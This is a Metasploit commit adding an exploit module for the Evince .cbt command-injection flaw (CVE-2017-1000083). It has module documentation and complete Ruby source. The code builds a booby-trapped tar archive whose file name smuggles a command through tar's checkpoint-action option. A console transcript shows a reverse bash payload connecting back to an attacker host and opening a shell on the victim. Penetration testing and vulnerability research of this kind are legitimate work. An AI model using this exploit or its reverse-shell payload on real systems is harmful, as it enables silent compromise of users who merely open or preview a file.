Land #11349, Add Evince CBT File Command Injection module

GSoC/Meterpreter_Web_Console
Pearce Barry 2019-02-06 17:54:07 -06:00
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## Description
This module exploits a command injection vulnerability in Evince
before version 3.24.1 when opening comic book `.cbt` files.
Some file manager software, such as Nautilus and Atril, may allow
automatic exploitation without user interaction due to thumbnailer
preview functionality.
Note that limited space is available for the payload (<256 bytes).
Reverse Bash and Reverse Netcat payloads should be sufficiently small.
## Vulnerable Application
[Evince](https://wiki.gnome.org/Apps/Evince) is a document viewer
for multiple document formats.
This module has been tested successfully on evince versions:
* 3.4.0-3.1 + nautilus 3.4.2-1+build1 on Kali 1.0.6
* 3.18.2-1ubuntu4.3 + atril 1.12.2-1ubuntu0.3 on Ubuntu 16.04
## Verification Steps
1. ```use exploit/multi/fileformat/evince_cbt_cmd_injection```
2. ```set PAYLOAD <PAYLOAD>```
3. ```run```
4. The module should generate the malicious `msf.cbt` file
5. ```handler -p <PAYLOAD> -H <LHOST> -P <LPORT>```
6. Copy `msf.cbt` to target host and open with Evince
7. You should receive a new session
## Options
**FILENAME**
The cbt document file name (default: `msf.cbt`)
## Scenarios
```
msf5 > use exploit/multi/fileformat/evince_cbt_cmd_injection
msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > set lhost 172.16.191.188
lhost => 172.16.191.188
msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > run
[*] Writing file: msf.cbt (1078272 bytes) ...
[+] msf.cbt stored at /root/.msf4/local/msf.cbt
msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > mv /root/.msf4/local/msf.cbt /var/www
[*] exec: mv /root/.msf4/local/msf.cbt /var/www
msf5 exploit(multi/fileformat/evince_cbt_cmd_injection) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf5 exploit(multi/handler) > set lhost 172.16.191.188
lhost => 172.16.191.188
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 172.16.191.188:4444
[*] Command shell session 1 opened (172.16.191.188:4444 -> 172.16.191.160:39362) at 2019-02-03 00:16:59 -0500
id
uid=1000(test) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
uname -a
Linux ubuntu-16-04-x64 4.4.0-140-generic #166-Ubuntu SMP Wed Nov 14 20:09:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
```
## Manual Cleanup
To prevent re-exploitation from a thumbnailer process:
```
/usr/bin/killall evince-thumbnailer
/usr/bin/killall atril-thumbnailer
```

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/zip'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Evince CBT File Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in Evince
before version 3.24.1 when opening comic book `.cbt` files.
Some file manager software, such as Nautilus and Atril, may allow
automatic exploitation without user interaction due to thumbnailer
preview functionality.
Note that limited space is available for the payload (<256 bytes).
Reverse Bash and Reverse Netcat payloads should be sufficiently small.
This module has been tested successfully on evince versions:
3.4.0-3.1 + nautilus 3.4.2-1+build1 on Kali 1.0.6;
3.18.2-1ubuntu4.3 + atril 1.12.2-1ubuntu0.3 on Ubuntu 16.04.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Felix Wilhelm', # Discovery
'Sebastian Krahmer', # PoC
'Matlink', # Exploit
'bcoles' # Metasploit
],
'References' =>
[
['BID', '99597'],
['CVE', '2017-1000083'],
['EDB', '45824'],
['URL', 'https://seclists.org/oss-sec/2017/q3/128'],
['URL', 'https://bugzilla.gnome.org/show_bug.cgi?id=784630'],
['URL', 'https://bugzilla.suse.com/show_bug.cgi?id=1046856'],
['URL', 'https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1735418'],
['URL', 'https://bugs.launchpad.net/ubuntu/+source/atril/+bug/1800662'],
['URL', 'https://access.redhat.com/security/cve/cve-2017-1000083'],
['URL', 'https://security-tracker.debian.org/tracker/CVE-2017-1000083']
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 215,
'BadChars' => "\x00\x0a\x0d\x22",
'DisableNops' => true
},
'DefaultOptions' =>
{
'PAYLOAD' => 'cmd/unix/reverse_bash',
'DisablePayloadHandler' => true
},
'Targets' => [[ 'Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => '2017-07-13',
'DefaultTarget' => 0))
register_options([
OptString.new('FILENAME', [true, 'The cbt document file name', 'msf.cbt'])
])
end
def exploit
ext = %w[png jpg gif]
path = " --checkpoint-action=exec=bash -c \"#{payload.encoded};\".#{ext.sample}"
# Tar archive max path length is 256.
if path.length > 256
fail_with Failure::PayloadFailed, "Payload is too large (#{path.length}): Max path length is 256 characters"
end
# Tar archive max file name length is 100.
path.split('/').each do |fname|
if fname.length > 100
fail_with Failure::PayloadFailed, "File name too long (#{fname.length}): Max filename length is 100 characters"
end
end
# Create malicious tar archive
tarfile = StringIO.new
Rex::Tar::Writer.new tarfile do |tar|
tar.add_file path, 0644 do |io|
io.write ''
end
# Pad file to 1+ MB to trigger tar checkpoint action
tar.add_file rand_text_alphanumeric(10..20), 0644 do |io|
io.write rand_text(1_000_000..1_100_000)
end
end
tarfile.rewind
cbt = tarfile.read
print_status "Writing file: #{datastore['FILENAME']} (#{cbt.length} bytes) ..."
file_create cbt
end
end